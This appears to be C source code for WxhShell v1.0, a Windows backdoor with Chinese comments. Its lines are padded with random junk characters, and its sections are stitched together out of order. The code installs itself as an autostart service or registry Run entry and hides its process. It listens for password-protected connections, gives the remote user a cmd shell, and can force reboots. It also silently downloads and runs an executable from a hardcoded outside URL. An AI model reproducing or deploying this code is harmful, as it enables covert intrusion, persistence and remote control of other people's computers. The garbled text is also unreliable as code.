    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |K.J@zW  
    if(Boot(SHUTDOWN)) s~i 73Qk/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (R^qY"H 2  
    else { =Z /*  
    closesocket(wsh); NflwmMJ  
    ExitThread(0); E'g?44vyw  
    } . DrGr:UW  
    break;  Iz_#wO  
    } ! (H RP9  
  // 获取shell vV PK  
  case 's': { 8T523VI  
    CmdShell(wsh); Q8h0:Q  
    closesocket(wsh); q1Sr#h|  
    ExitThread(0); dy"7Wl]hi7  
    break; DeK&_)g| Z  
  } OCN:{  
  // 退出 tO}Y=kZa{  
  case 'x': { NG+%H1!$_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); } q?*13iy(  
    CloseIt(wsh); };m.8(}$)  
    break; q9gk:Jt  
    } ;;>G}pG  
  // 离开 PP{s&(  
  case 'q': { n_9Wrx328  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5>\Lk>rI  
    closesocket(wsh); !Bu=?gf  
    WSACleanup(); O-uf^ S4  
    exit(1); #&sw%CD  
    break; =Sjf-o1V  
        } -/ YY.F-  
  } M`D`-vv  
  } E0t%]?1  
8+mu'RZ X  
  // 提示信息 W.sH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a/Ik^:>m  
} Nm{J=`  
  } -Pp =)_O  
:"Gd;~p.  
  return; Sp-M:,H3H  
} Yu+;vjbK-  
19]O;  
// shell模块句柄 ` st^i$A  
int CmdShell(SOCKET sock) %) /Bl.{}<  
{ 70F(`;  
STARTUPINFO si; ? 4v"y@v  
ZeroMemory(&si,sizeof(si)); &Db'}Y?x]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FIN0~ 8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t~V?p'a0ys  
PROCESS_INFORMATION ProcessInfo; u`gY/]y!  
char cmdline[]="cmd"; Uqd2{fji=#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~Q2,~9Dkc  
  return 0; h[& \ OD,P  
} cnL@j_mb  
g0M/Sv  
// 自身启动模式 V8947h|&  
int StartFromService(void) $h|8z  
{ .2f0e[J  
typedef struct Ksb55cp`  
{ - (VX+XHW  
  DWORD ExitStatus; yP"D~u  
  DWORD PebBaseAddress; ./_4D}  
  DWORD AffinityMask; S]<%^W'  
  DWORD BasePriority; OV`#/QL  
  ULONG UniqueProcessId; `ZPV.u/  
  ULONG InheritedFromUniqueProcessId; a=r^?q'/  
}   PROCESS_BASIC_INFORMATION; eMOnzW|h  
}&Ul(HR  
PROCNTQSIP NtQueryInformationProcess; mNQ*YCq.  
5;[h&jH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^$;5ZkQy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; umI6# Vd`=  
Senb_?  
  HANDLE             hProcess; +GlG.6  
  PROCESS_BASIC_INFORMATION pbi; Eemk2>iP?  
bnxR)b~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uuf+M-P  
  if(NULL == hInst ) return 0; _xdFQ  
dk.VH!uVb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p K hV<MFB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9;L50q>s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~PA6e+gmL  
%0lJ(hm  
  if (!NtQueryInformationProcess) return 0; yL"pzD`[H  
psM&r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); icXeB_&cS  
  if(!hProcess) return 0; gVN&?`k*?  
=`f"8 ,5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qVr?st  
KF f6um  
  CloseHandle(hProcess); 3.V-r59  
QvDD   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4^{~MgQWK+  
if(hProcess==NULL) return 0; GcHZ&m4  
b\^9::oY  
HMODULE hMod; 2@?\"kR"!  
char procName[255]; U,tWLX$@  
unsigned long cbNeeded;  cE7IHQ  
o0FVVSl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u;H5p\zAzz  
6#(rWW "_  
  CloseHandle(hProcess); ,H:{twc   
?T7ndXX  
if(strstr(procName,"services")) return 1; // 以服务启动 822jZ sb  
*K=Yrisz  
  return 0; // 注册表启动 S)z5=N(Xz  
} -n]E\"  
_-nIy*',=  
// 主模块 ?gl[ =N V  
int StartWxhshell(LPSTR lpCmdLine) 1'YksuYx6f  
{ f4lC*nCN  
  SOCKET wsl; (db4.G+0  
BOOL val=TRUE; DtOL=m]s  
  int port=0; w<G'gi]  
  struct sockaddr_in door; 3vRBK?Q.y  
t'DYT"3  
  if(wscfg.ws_autoins) Install(); rRd8W}B  
"Rq)%o$Z  
port=atoi(lpCmdLine); hG qZB  
tN&_f==e  
if(port<=0) port=wscfg.ws_port; &?#!%Ds  
Fa9gr/.F,@  
  WSADATA data; |<w Z;d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4<l&cP  
p WLFJH}N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ukg iSv+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /+{1;}AT  
  door.sin_family = AF_INET; O>Ao#_*hOb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <"}WpT  
  door.sin_port = htons(port); 3`> nQ4zC  
_sI\^yZd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XE.Y?{,R$  
closesocket(wsl); Q??nw^8Hi  
return 1; \ 0aa0=  
} Q\{$&0McF  
`'}c- Q  
  if(listen(wsl,2) == INVALID_SOCKET) { +,A7XBn  
closesocket(wsl); ~4C:2  
return 1; bT#re  
} X8| 0RU@f  
  Wxhshell(wsl); D?@e,e  
  WSACleanup(); @g==U{k;t  
7 J+cs^2  
return 0; 2` j#eB1  
,]8$QFf  
} Q(7M_2e7  
zx=AT  
// 以NT服务方式启动 Yn1CU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Fc.1)yh.  
{ :}}~ $$&  
DWORD   status = 0; ~@N0$S  
  DWORD   specificError = 0xfffffff; Rln JlY/  
?j-;;NNf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E-XFW]I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ialbz\;F2%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )R]gJ_ ,c  
  serviceStatus.dwWin32ExitCode     = 0; m9m]q&hx  
  serviceStatus.dwServiceSpecificExitCode = 0; 1)N{!w`  
  serviceStatus.dwCheckPoint       = 0; k{d)'\FM  
  serviceStatus.dwWaitHint       = 0; BuIly&qbm<  
r4(Cb_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ju%t'u\'  
  if (hServiceStatusHandle==0) return; P},d`4Ty@  
{fAj*,pzl  
status = GetLastError(); 4KCJ(<p|  
  if (status!=NO_ERROR) Ceco^Mw  
{ (b4;c=<[{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @gHWU>k,A  
    serviceStatus.dwCheckPoint       = 0; - |j4u#z  
    serviceStatus.dwWaitHint       = 0; TWk1`1|  
    serviceStatus.dwWin32ExitCode     = status; kG70j{gf  
    serviceStatus.dwServiceSpecificExitCode = specificError; @N,I}_9-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); okv`v ({  
    return; Fu6~8uDV{{  
  } CxW-lU3G`  
7d"gRM;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3^J~ts{*  
  serviceStatus.dwCheckPoint       = 0; kEpCF:@A  
  serviceStatus.dwWaitHint       = 0; ;^Y]nsd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?f ]!~  
} N>'|fNx]  
 LAfv1  
// 处理NT服务事件,比如:启动、停止 T{Rhn V1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o6~9.~_e  
{ gBCO>nJws  
switch(fdwControl) c<n <!!vi  
{ *g;4?_f  
case SERVICE_CONTROL_STOP: 0'O*Y ]h+  
  serviceStatus.dwWin32ExitCode = 0; :KL5A1{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1xF<c<  
  serviceStatus.dwCheckPoint   = 0; f*Dy>sw  
  serviceStatus.dwWaitHint     = 0; Bm&%N?9  
  { _ZD8/?2QV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T($6L7 j9  
  } N&'05uWY}  
  return; M,j3z #  
case SERVICE_CONTROL_PAUSE: h,WF'X+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }9,^=g-  
  break; `OWw<6`k  
case SERVICE_CONTROL_CONTINUE: U)g2 7*7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;mYj`/Yj  
  break; c _faW  
case SERVICE_CONTROL_INTERROGATE: "Ooc;xD3<  
  break; (aa}0r5  
}; AyUiX2=w1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g0 NSy3t  
} [#hoW"'Q9  
_Bhm\|t  
// 标准应用程序主函数 qe\JO'g#e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {f kP|d  
{ @p}"B9h*^  
(iw)C)t*u  
// 获取操作系统版本 6xsB#v*  
OsIsNt=GetOsVer(); =TzmhX5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }|Wn6X  
I||4.YT  
  // 从命令行安装 j(SBpM  
  if(strpbrk(lpCmdLine,"iI")) Install(); uqMe %  
5Sm)+FC :  
  // 下载执行文件 zjVQ\L  
if(wscfg.ws_downexe) { /K2=GLl;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !<P|:Oo*Dl  
  WinExec(wscfg.ws_filenam,SW_HIDE); E6FT*}Q  
} mtQlm5l  
%oY=.Ok ]  
if(!OsIsNt) { k_}aiHdG  
// 如果时win9x,隐藏进程并且设置为注册表启动 Im*~6[  
HideProc(); %]15=7#'y  
StartWxhshell(lpCmdLine); 5/>W(,5}  
} PF4"J^V  
else F:o<E 42  
  if(StartFromService()) Qso"jYl<  
  // 以服务方式启动 hn@T ]k  
  StartServiceCtrlDispatcher(DispatchTable); 3?rYt:Uf!  
else %tRQK$]c  
  // 普通方式启动 Cm5:_K`;]  
  StartWxhshell(lpCmdLine); R^*h|7)E  
Z1t?+v+Ro*  
return 0; dY'mY~Tv  
} vS$_H<;P  
Mx<? c  
KS6H`Mm}/  
UD@u hL  
=========================================== c+^#(OB  
_CDl9pP36#  
@Pt,N qj:  
=oPc\VYW  
IV5B5Q'D  
=]auP{AlE  
" >P/Nb]C  
1 ynjDin<  
#include <stdio.h> T1&^IO-F7$  
#include <string.h> 3Wl,T5}{  
#include <windows.h> ]$VYzE2e  
#include <winsock2.h> uuA q\YZy/  
#include <winsvc.h> :172I1|7  
#include <urlmon.h> UJWkG^?  
8.'[>VzBL  
#pragma comment (lib, "Ws2_32.lib") q|23l1 PI  
#pragma comment (lib, "urlmon.lib") v,] &[`  
c-ahe;q  
#define MAX_USER   100 // 最大客户端连接数 A"`^A brm  
#define BUF_SOCK   200 // sock buffer |QI FtdU5T  
#define KEY_BUFF   255 // 输入 buffer 3bGJ?hpp  
mx'!I7b(L/  
#define REBOOT     0   // 重启 Qmk}smvH  
#define SHUTDOWN   1   // 关机 L`M.Htm8  
6_s_2cr  
#define DEF_PORT   5000 // 监听端口 Snav)Hb'  
O&Ws*k  
#define REG_LEN     16   // 注册表键长度 M,ObzgW  
#define SVC_LEN     80   // NT服务名长度 covr0N)  
W_##8[r(?  
// 从dll定义API EM.7,;|N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X}/{90UD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r[TTG0|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y<vsMf_U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D_HE!fl  
?y@RE  
// wxhshell配置信息 NPL(5@  
struct WSCFG { +@QN)ZwVy  
  int ws_port;         // 监听端口 NX?IM8\t  
  char ws_passstr[REG_LEN]; // 口令 *r&q;ER  
  int ws_autoins;       // 安装标记, 1=yes 0=no },d`<^~  
  char ws_regname[REG_LEN]; // 注册表键名 XU3v#Du  
  char ws_svcname[REG_LEN]; // 服务名 .5;Xd?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s L9,+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >Y h7By  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1%;o-F@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :UyNa0$l:"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ):Vzv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JE<zQf(&  
Zy>iaG9}  
}; i09w(k?  
4|Wg lri  
// default Wxhshell configuration H.D1|sU  
struct WSCFG wscfg={DEF_PORT, f~RS[h`:  
    "xuhuanlingzhe", y~w -z4  
    1, e+!+(D  
    "Wxhshell", D?v)Xqw=  
    "Wxhshell", lDQ'  
            "WxhShell Service", Zw)*+> +FV  
    "Wrsky Windows CmdShell Service", T.fmEl  
    "Please Input Your Password: ", FuiEy=+  
  1, Qe&K  
  "http://www.wrsky.com/wxhshell.exe", scff WqEo  
  "Wxhshell.exe" 4TBK:Vm5  
    }; {G+pI2^  
O%g%*9  
// 消息定义模块 me#?1r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $ON4 nx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; abHW[VP9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Vu%XoI)<KY  
char *msg_ws_ext="\n\rExit."; vBM uVpzO  
char *msg_ws_end="\n\rQuit."; Xy74D/ocui  
char *msg_ws_boot="\n\rReboot..."; P~>E  
char *msg_ws_poff="\n\rShutdown..."; j &#A 9!  
char *msg_ws_down="\n\rSave to "; )]=1W  
FAS+*G Fz  
char *msg_ws_err="\n\rErr!"; =9lrPQ]w  
char *msg_ws_ok="\n\rOK!"; 1;\A./FVv  
a^ vXwY  
char ExeFile[MAX_PATH]; $/*6tsR  
int nUser = 0; zH1pW(  
HANDLE handles[MAX_USER]; 5kK:1hH7  
int OsIsNt; 3 e19l!B  
]kN<N0;\d  
SERVICE_STATUS       serviceStatus; ?y] q\>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DA/l`Pn  
]8}+%P,Q  
// 函数声明 M*r/TT  
int Install(void); m#D+Yh/y{n  
int Uninstall(void); -`iXAyr)m  
int DownloadFile(char *sURL, SOCKET wsh); Y7vTseq  
int Boot(int flag); Nn"[GB  
void HideProc(void); IZ$7'Mo86  
int GetOsVer(void); BVKr 2v  
int Wxhshell(SOCKET wsl); "5KJ /7q!  
void TalkWithClient(void *cs); g1je':  
int CmdShell(SOCKET sock);  t8 "*j t  
int StartFromService(void); )YDuq(g&  
int StartWxhshell(LPSTR lpCmdLine); RG'Ft]l92N  
yzvNv]Z'*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fQ\nK H~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fkprTk^#  
p)t1] <,Of  
// 数据结构和表定义 _h% :Tu  
SERVICE_TABLE_ENTRY DispatchTable[] = $=x1_  
{ 0Cox+QJt  
{wscfg.ws_svcname, NTServiceMain}, K+0&~XU  
{NULL, NULL} YWV"I|Z  
}; U{IY F{;@  
7j>NUx=j3  
// 自我安装 ?e`4 s f_~  
int Install(void) -+'fn$  
{ YL)epi^  
  char svExeFile[MAX_PATH]; F-\Swbx+  
  HKEY key; AoaRlk-#  
  strcpy(svExeFile,ExeFile); E&\dr;{7  
>@NH Al  
// 如果是win9x系统,修改注册表设为自启动 uhyw?#f  
if(!OsIsNt) { 0 !D,74r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m15MA.R>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fn%Gu s~  
  RegCloseKey(key); u|!On  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0ssKZ9Lc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *V\z]Dy-[  
  RegCloseKey(key); /Hox]r]'e  
  return 0; iqzl(9o.D  
    } vy ME  
  } oD$8(  
} *K9I+t"g  
else { U4DQ+g(A  
0WasE1t|  
// 如果是NT以上系统,安装为系统服务 [-Zp[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E+Jh4$x {  
if (schSCManager!=0) 4G:I VK9  
{ 56;(mbW  
  SC_HANDLE schService = CreateService )'<B\P/  
  ( ^2gDhoO_  
  schSCManager, yIm@m[B;  
  wscfg.ws_svcname, `y&d  
  wscfg.ws_svcdisp, RL|13CG OP  
  SERVICE_ALL_ACCESS, S?X2MX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dQoZh E  
  SERVICE_AUTO_START, Uoskfm  
  SERVICE_ERROR_NORMAL, D;f[7Cac  
  svExeFile, \hjGw,d  
  NULL, 16iymiLz&  
  NULL, !Gv*iWg  
  NULL, c0J=gZiP  
  NULL, /jR]sC)xs  
  NULL i[:S *`@S  
  ); 2v!ucd}  
  if (schService!=0) *WSH-*0  
  { 4=j,:q  
  CloseServiceHandle(schService); Fq{Z-yVp  
  CloseServiceHandle(schSCManager); )V!9/d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r52X}Y  
  strcat(svExeFile,wscfg.ws_svcname); '~dE0ohWb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K3eYeXV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w#?@ulr]d  
  RegCloseKey(key); Hpo/CY/  
  return 0; 0-)D`s%  
    } $ae*3L>5M  
  } b.qp&2A  
  CloseServiceHandle(schSCManager); nI1DLVt  
} >28.^\?H4  
} 4$~]t:n  
RwH<JaL:  
return 1; tEz6B}  
} oDyrf"dl  
-Cb<T"7  
// 自我卸载 Sm(QgZO[4  
int Uninstall(void) 9Fe(],AzF  
{ ? x1"uH  
  HKEY key; ^*;{Uj+O~Y  
G;:D6\  
if(!OsIsNt) { oo{5 :  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \z}/=Qgc  
  RegDeleteValue(key,wscfg.ws_regname); ]!>ThBMa  
  RegCloseKey(key); ~|j:xM(i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9N H"Ik*  
  RegDeleteValue(key,wscfg.ws_regname); 6E9y[ %+  
  RegCloseKey(key); )P6n,\  
  return 0; NLe+  
  } 'xNPy =#  
} b\/:-][  
} U] 2fV|Hn  
else { +k!Y]_&(:f  
r]x;JBy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); < V?CM(1C  
if (schSCManager!=0) B]PTe~n^  
{ H'Mc]zw_,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zj!&12w%3  
  if (schService!=0) $#4J^(I*:  
  { 5XO eYO{  
  if(DeleteService(schService)!=0) { ,"U8Fgf[r  
  CloseServiceHandle(schService); V?g@pnN"  
  CloseServiceHandle(schSCManager); >Z#=<  
  return 0; Wsn}Y-x  
  } j@c fR  
  CloseServiceHandle(schService); M@a?j<7P,m  
  } c#q OK  
  CloseServiceHandle(schSCManager); |aiP7C  
} %IS'R`;3  
} ALw5M'6q0\  
lVywc:X  
return 1; 4\HB rd#P  
} h&7]Bp  
[3a-1,  
// 从指定url下载文件 o0-7#2  
int DownloadFile(char *sURL, SOCKET wsh) AL.zF\?  
{ /o =V (  
  HRESULT hr; Rd5ni2-nve  
char seps[]= "/"; %0]vW;Q5  
char *token; W)"PYC4  
char *file; ^(ks^<}  
char myURL[MAX_PATH]; VjU;[  
char myFILE[MAX_PATH]; =RR225  
@l9qH1  
strcpy(myURL,sURL); 0NLoqq  
  token=strtok(myURL,seps); <BIj a  
  while(token!=NULL) Vp $]  
  { *|n::9  
    file=token; ; 6Wlu3I  
  token=strtok(NULL,seps); _m!TUT8o  
  } |irqv< r  
dw)SF,  
GetCurrentDirectory(MAX_PATH,myFILE); %?^T^P  
strcat(myFILE, "\\"); $|v_ pjUu]  
strcat(myFILE, file); V/Hjd`n)`i  
  send(wsh,myFILE,strlen(myFILE),0); 'hl>pso.  
send(wsh,"...",3,0); .BsZ.!MPL(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eTI<WFRc_  
  if(hr==S_OK) 8y}9X v  
return 0; DXlP (={*  
else E3gR%t  
return 1; e";r_J3w  
U;n$  
} 7%Zl^c>q  
4!Ez#\  
// 系统电源模块 xq:.|{HUk  
int Boot(int flag) <dx xXzLT  
{ _//)|.6c3  
  HANDLE hToken; bWv4'Y!p  
  TOKEN_PRIVILEGES tkp; u49zc9  
tE0DST/  
  if(OsIsNt) { 3Oy-\09  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N=K|Nw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v*%#Fp,g8  
    tkp.PrivilegeCount = 1; -k{n"9a9?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .s 31D%N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jsS xjf;O  
if(flag==REBOOT) { qr%9S dvx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YV*s1 t/  
  return 0; eR r.j  
} 0$3\D S<E  
else { QRj>< TKi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {aI8p}T  
  return 0; ` bd  
} <8 MKjf  
  } `r+"2.z*  
  else { 27*u^N*z@  
if(flag==REBOOT) { jw$3cwddH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4C^;lK  
  return 0; q10gKVJum  
} W=M`Bkw{  
else { <}b`2/wP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %sb)U~gP  
  return 0; ZdHfZ3)dB  
} _[-+%RP  
} IM&2SSmYNH  
3vPb}  
return 1; ; >3q@9\D  
} i(9=` A}  
e&f9/rfx  
// win9x进程隐藏模块 gB@Xi*  
void HideProc(void) 2"lDKjj  
{ FjIS:9^)t5  
gK/mm\K@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2g1[ E_?  
  if ( hKernel != NULL ) /5 Wy) -  
  { a'w~7y!}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R6HMi#eF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ghm5g/  
    FreeLibrary(hKernel); y0qrl4S)v  
  } 9Vz1*4Ln  
h)BRSs?v_D  
return; Q[^IX  
} b:/;  
N+x0"~T}I  
// 获取操作系统版本 AOQimjW9a  
int GetOsVer(void) /W'GX n  
{ U'zW; Lt  
  OSVERSIONINFO winfo; }^WQNdws56  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <`*}$Zh  
  GetVersionEx(&winfo); _f$8{&`k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5Jq~EB{"  
  return 1; i rMZLc6  
  else w#eD5y~'oo  
  return 0; Y 3r m')c  
} IlsXj`!e  
O{a<f7 W  
// 客户端句柄模块 v!?bEM3D  
int Wxhshell(SOCKET wsl) H];|<G  
{ R*IO%9O  
  SOCKET wsh; Qj~m;F!  
  struct sockaddr_in client; mdvooJ  
  DWORD myID; LziEF-_  
;T~]|#T\6  
  while(nUser<MAX_USER) ^Bn)a"Gd  
{ cc7*O  
  int nSize=sizeof(client); ^D\1F$AjC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xc[@lr  
  if(wsh==INVALID_SOCKET) return 1; YLVV9(  
9tsI1]1[m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fv_}7t7  
if(handles[nUser]==0) 9@  [R>C  
  closesocket(wsh); 9K~2!<  
else SV16]Vc  
  nUser++; =8$//$  
  } | 2BIAm]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q%TWtQS  
&Yi)|TU3'R  
  return 0; qLBXyQ;U  
} OiX:h#  
^pZ1uN!b  
// 关闭 socket D'Tb=  
void CloseIt(SOCKET wsh) $9<q'hf<w  
{ @#K19\dQ  
closesocket(wsh); yjUZ 40Dq  
nUser--; Ov"]&e(I[  
ExitThread(0); PE3FuJGz  
} QU^*(HGip  
r#iZ FL3q  
// 客户端请求句柄 Jm$. $B&I  
void TalkWithClient(void *cs) }]_/:KUt  
{ aAZS^S4v  
r=P)iE:  
  SOCKET wsh=(SOCKET)cs; l T~RH0L  
  char pwd[SVC_LEN]; zbK=yOIOd  
  char cmd[KEY_BUFF]; /^^t>L  
char chr[1]; XL@i/5C[  
int i,j; ~K}iVX  
OQMkpX-dH  
  while (nUser < MAX_USER) { 01N "  
w naP?|/  
if(wscfg.ws_passstr) { {'VP_ZS1v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r(xh5{^x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O6Bs!0,  
  //ZeroMemory(pwd,KEY_BUFF); )o)<5Iqh  
      i=0; z(2pl}  
  while(i<SVC_LEN) { <+UEM~)  
4Gs#_|!  
  // 设置超时 yQE|FbiA  
  fd_set FdRead; eznt "Rr2  
  struct timeval TimeOut; O*{<{3  
  FD_ZERO(&FdRead); q`z/ S>  
  FD_SET(wsh,&FdRead); V(_OyxeC{2  
  TimeOut.tv_sec=8; `s5<PCq  
  TimeOut.tv_usec=0; X.hU23w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :)VO,b~r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $Llv6<B  
W1'F)5(?7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uKc x$  
  pwd=chr[0]; IvGQ7 VLr  
  if(chr[0]==0xd || chr[0]==0xa) { "s!!\/^9C  
  pwd=0; zWKnkIit,  
  break; 1BT]_ cP  
  } *I6z;.#  
  i++; |57u;  
    } 1Q\P] -  
:8b{|}aYV  
  // 如果是非法用户,关闭 socket d%_=r." Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6" fYSn>  
} Q^X  
|{ W4JFKJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ly"Jl8/<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pgbm2mT9  
4?Pdld  
while(1) { TI4#A E  
,5oe8\uz  
  ZeroMemory(cmd,KEY_BUFF); "1 O!Ck_n  
{$D[l hj  
      // 自动支持客户端 telnet标准   Cbu/7z   
  j=0; !>QS746S@  
  while(j<KEY_BUFF) { fB^h2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !/] F.0  
  cmd[j]=chr[0]; >qj.!npQD  
  if(chr[0]==0xa || chr[0]==0xd) { K~'!JP8@  
  cmd[j]=0; _: @~ bHd  
  break; Aq' yr,  
  } zh`!x{Z?^  
  j++;  8:=&=9%  
    } o V"d%ks  
xxjg)rVuy  
  // 下载文件 xCN6?  
  if(strstr(cmd,"http://")) { Xi$( U8J_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _M'WTe  
  if(DownloadFile(cmd,wsh)) I\ e?v`e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n@5Sp2p  
  else ,/0Q($oz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rR`'l=,t  
  } A!Em J  
